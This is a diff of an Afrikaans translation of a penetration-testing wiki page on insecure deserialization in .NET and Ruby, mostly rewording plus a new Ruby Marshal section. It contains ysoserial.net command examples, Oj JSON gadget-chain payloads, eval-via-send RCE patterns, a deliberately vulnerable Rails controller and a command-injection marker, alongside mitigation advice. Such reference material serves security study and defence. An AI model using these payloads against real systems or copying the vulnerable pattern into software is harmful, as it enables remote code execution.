- Skyfies: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
@ -693,17 +693,17 @@ Die fokus moet wees op serialiseerders wat toelaat dat die tipe deur 'n verander
#### BlackBox
Die soektog moet gerig wees op die Base64-gecodeerde string **AAEAAAD/////** of enige soortgelyke patroon wat op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, **JSON** of **XML** strukture wat `TypeObject` of `$type` bevat.
Die soektog moet gerig wees op die Base64-gecodeerde string **AAEAAAD/////** of enige soortgelyke patroon wat moontlik op die bediener-kant gedeserialiseer kan word, wat beheer oor die tipe wat gedeserialiseer moet word, toelaat. Dit kan insluit, maar is nie beperk tot nie, **JSON** of **XML** strukture wat `TypeObject` of `$type` bevat.
### ysoserial.net
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repositori afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repo afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.**
- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik gaan word (gee die klas/funksie wat tydens deserialisering misbruik gaan word om opdragte uit te voer).
- **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** geënkodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie)._
- **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te vervaardig.
@ -711,8 +711,8 @@ Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`-
#### Meer ysoserial.net parameters
- `--minify` sal 'n **kleiner payload** bied (indien moontlik)
- `--raf -f Json.Net -c "anything"` Dit sal al die gadgets aandui wat met 'n gegewe formatter gebruik kan word (`Json.Net` in hierdie geval)
- `--sf xml` jy kan **'n gadget** (`-g`) aandui en ysoserial.net sal soek na formatters wat "xml" bevat (hoofdlettergevoelig).
- `--raf -f Json.Net -c "anything"` Dit sal al die gadgets aandui wat met 'n gegewe formatter (`Json.Net` in hierdie geval) gebruik kan word
- `--sf xml` jy kan **'n gadget** (`-g`) aandui en ysoserial.net sal soek na formatters wat "xml" bevat (nie hoofletters sensitief nie)
**ysoserial voorbeelde** om ontginnings te skep:
```bash
@ -734,7 +734,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
```
**ysoserial.net** het ook 'n **baie interessante parameter** wat help om beter te verstaan hoe elke exploit werk: `--test`\
As jy hierdie parameter aandui, sal **ysoserial.net** die **exploit plaaslik probeer,** sodat jy kan toets of jou payload korrek sal werk.\
Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (van [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) sal vind:
Hierdie parameter is nuttig omdat jy, as jy die kode hersien, stukke kode soos die volgende een (uit [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)) sal vind:
```java
if (inputArgs.Test)
{
@ -773,7 +773,7 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
- **Vermy om datastrome toe te laat om hul objektipe te definieer.** Gebruik `DataContractSerializer` of `XmlSerializer` wanneer moontlik.
- **Vir `JSON.Net`, stel `TypeNameHandling` op `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Vermy om `JavaScriptSerializer` met 'n `JavaScriptTypeResolver` te gebruik.**
- **Beperk die tipes wat gedeserialiseer kan word**, terwyl jy die inherente risiko's van .Net tipes verstaan, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.
- **Beperk die tipes wat gedeserialiseer kan word**, verstaan die inherente risiko's met .Net tipes, soos `System.IO.FileInfo`, wat die eienskappe van bediener lêers kan verander, wat moontlik tot ontkenning van diensaanvalle kan lei.
- **Wees versigtig met tipes wat riskante eienskappe het**, soos `System.ComponentModel.DataAnnotations.ValidationException` met sy `Value` eienskap, wat uitgebuit kan word.
- **Beheer tipe-instansiasie veilig** om te voorkom dat aanvallers die deserialisasieproses beïnvloed, wat selfs `DataContractSerializer` of `XmlSerializer` kwesbaar maak.
- **Implementeer witlysbeheer** met 'n pasgemaakte `SerializationBinder` vir `BinaryFormatter` en `JSON.Net`.
@ -789,7 +789,7 @@ Om die risiko's wat met deserialisasie in .Net geassosieer word, te verminder:
## **Ruby**
In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek in 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Aan die ander kant word die tweede metode, **load**, gebruik om 'n byte-stroom terug in 'n objek te herstel, 'n proses bekend as deserialisering.
In Ruby word serialisering gefasiliteer deur twee metodes binne die **marshal** biblioteek. Die eerste metode, bekend as **dump**, word gebruik om 'n objek in 'n byte-stroom te transformeer. Hierdie proses word serialisering genoem. Omgekeerd word die tweede metode, **load**, gebruik om 'n byte-stroom terug in 'n objek te keer, 'n proses bekend as deserialisering.
Vir die beveiliging van geserialiseerde objekte, **gebruik Ruby HMAC (Hash-Based Message Authentication Code)**, wat die integriteit en egtheid van die data verseker. Die sleutel wat vir hierdie doel gebruik word, word in een van verskeie moontlike plekke gestoor:
@ -875,12 +875,12 @@ Ander RCE-ketting om Ruby On Rails te benut: [https://codeclimate.com/blog/rails
Soos verduidelik in [**hierdie kwesbaarheidsverslag**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), as 'n gebruiker ongesuiwerde invoer by die `.send()` metode van 'n ruby objek kom, laat hierdie metode toe om **enige ander metode** van die objek met enige parameters aan te roep.
Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter sal toelaat om arbitrêre kode uit te voer:
Byvoorbeeld, om eval aan te roep en dan ruby kode as tweede parameter te gebruik, sal toelaat om arbitrêre kode uit te voer:
```ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE
```
Boonop, as slegs een parameter van **`.send()`** deur 'n aanvaller beheer word, soos in die vorige skrywe genoem, is dit moontlik om enige metode van die objek aan te roep wat **nie argumente benodig nie** of waarvan die argumente **standaardwaardes** het.\
Hiervoor is dit moontlik om al die metodes van die objek te enumereer om **'n paar interessante metodes te vind wat aan daardie vereistes voldoen**.
Vir hierdie doel is dit moontlik om al die metodes van die objek te enumereer om **sommige interessante metodes te vind wat aan daardie vereistes voldoen**.
```ruby
<Object>.send('<user_input>')
@ -908,7 +908,7 @@ Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbru
### Ruby _json besoedeling
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang plaasvind.
Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.
Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md).
@ -916,9 +916,9 @@ Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.m
Hierdie tegniek is geneem [ **uit hierdie blogpos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om RCE te verkry basies):
Daar is ander Ruby biblioteke wat gebruik kan word om voorwerpe te serialiseer en wat dus misbruik kan word om RCE te verkry tydens 'n onveilige deserialisering. Die volgende tabel toon sommige van hierdie biblioteke en die metode wat hulle van die gelaaide biblioteek noem wanneer dit nie-geserialiseer is nie (funksie om te misbruik om basies RCE te verkry):
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoerdata</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Biblioteek</strong></td><td><strong>Invoergegewens</strong></td><td><strong>Kick-off metode binne klas</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binêr</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (klas moet in hash(map) as sleutel geplaas word)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([sien notas rakende json_create aan die einde](#table-vulnerable-sinks))</td></tr></tbody></table>
Basiese voorbeeld:
```ruby
@ -942,7 +942,7 @@ puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
```
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n uitstekende detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
```json
{
"^o": "URI::HTTP",
@ -954,7 +954,7 @@ In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget kla
"password": "anypw"
}
```
Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos:
Boonop, is daar gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep word, wat 'n vereiste is om 'n ander gadget te misbruik om dit in 'n volledige RCE te transformeer met iets soos:
```json
{
"^o": "Gem::Resolver::SpecSpecification",
@ -976,7 +976,7 @@ Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep wo
}
}
```
Kontroleer vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
Check vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
### Bootstrap Caching
@ -1008,9 +1008,59 @@ Die aanvaller berei 'n payload voor wat:
- Verwyder die kwaadwillige cache na uitvoering om herhalende uitbuiting te voorkom.
- Laai die oorspronklike lêer (bv. set.rb) om te verhoed dat die toepassing ineenstort.
Hierdie payload word in binêre Ruby kode gecompileer en saamgevoeg met 'n sorgvuldig saamgestelde cache sleutel kopstuk (met behulp van die voorheen versamelde metadata en die korrekte weergawe nommer vir Bootsnap).
Hierdie payload word in binêre Ruby kode gecompileer en saamgevoeg met 'n sorgvuldig saamgestelde cache sleutel kopstuk (met die voorheen versamelde metadata en die korrekte weergawe nommer vir Bootsnap).
- Oorskry en Trigger Uitvoering
Met behulp van die arbitrêre lêer skryf kwesbaarheid, skryf die aanvaller die saamgestelde cache lêer na die berekende ligging. Volgende, trigger hulle 'n bediener herstart (deur te skryf na tmp/restart.txt, wat deur Puma gemonitor word). Tydens herstart, wanneer Rails die geteikende lêer benodig, word die kwaadwillige cache lêer gelaai, wat lei tot afstands kode uitvoering (RCE).
### Ruby Marshal uitbuiting in praktyk (opgedateer)
Behandel enige pad waar onbetroubare bytes `Marshal.load`/`marshal_load` bereik as 'n RCE sink. Marshal herbou arbitrêre objektdiagramme en trigger biblioteek/gem callbacks tydens materialisering.
- Minimale kwesbare Rails kode pad:
```ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
```
- Algemene gadgetklasse gesien in werklike kettings: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
- Tipiese newe-effekmerker ingebed in payloads (uitgevoer tydens unmarshal):
```
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
```
Waar dit in werklike toepassings voorkom:
- Rails-kas en sessiestore wat histories Marshal gebruik
- Agtergrond werk agtergronde en lêer-gebaseerde objek stoor
- Enige persoonlike volharding of vervoer van binêre objekblobs
Gekommersialiseerde gadget ontdekking:
- Grep vir konstruktors, `hash`, `_load`, `init_with`, of side-effectvolle metodes wat tydens unmarshal aangeroep word
- Gebruik CodeQL se Ruby onveilige deserialisering navrae om bronne → sinke te spoor en gadgets te ontdek
- Verifieer met publieke multi-formaat PoCs (JSON/XML/YAML/Marshal)
## Verwysings
- Trail of Bits Marshal madness: 'n kort geskiedenis van Ruby deserialisering eksploit: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam Ruby 2.x Universele RCE Deserialisering Gadget Ketting: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 Rails 3/4 Marshal ketting: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 onveilige deserialisering): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI RCE via Ruby on Rails Aktiewe Stoor onveilige deserialisering: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security Ontdekking van gadget kettings in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab Ruby onveilige deserialisering (navraag hulp): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke Ruby 3.4 universele ketting: https://nastystereo.com/security/ruby-3-4-deserialization.html
- Luke Jahnke Gem::SafeMarshal ontsnapping: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 vrystelling: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby regstelling PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits Ouditering van RubyGems.org (Marshal bevindings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
{{#include ../../banners/hacktricks-training.md}}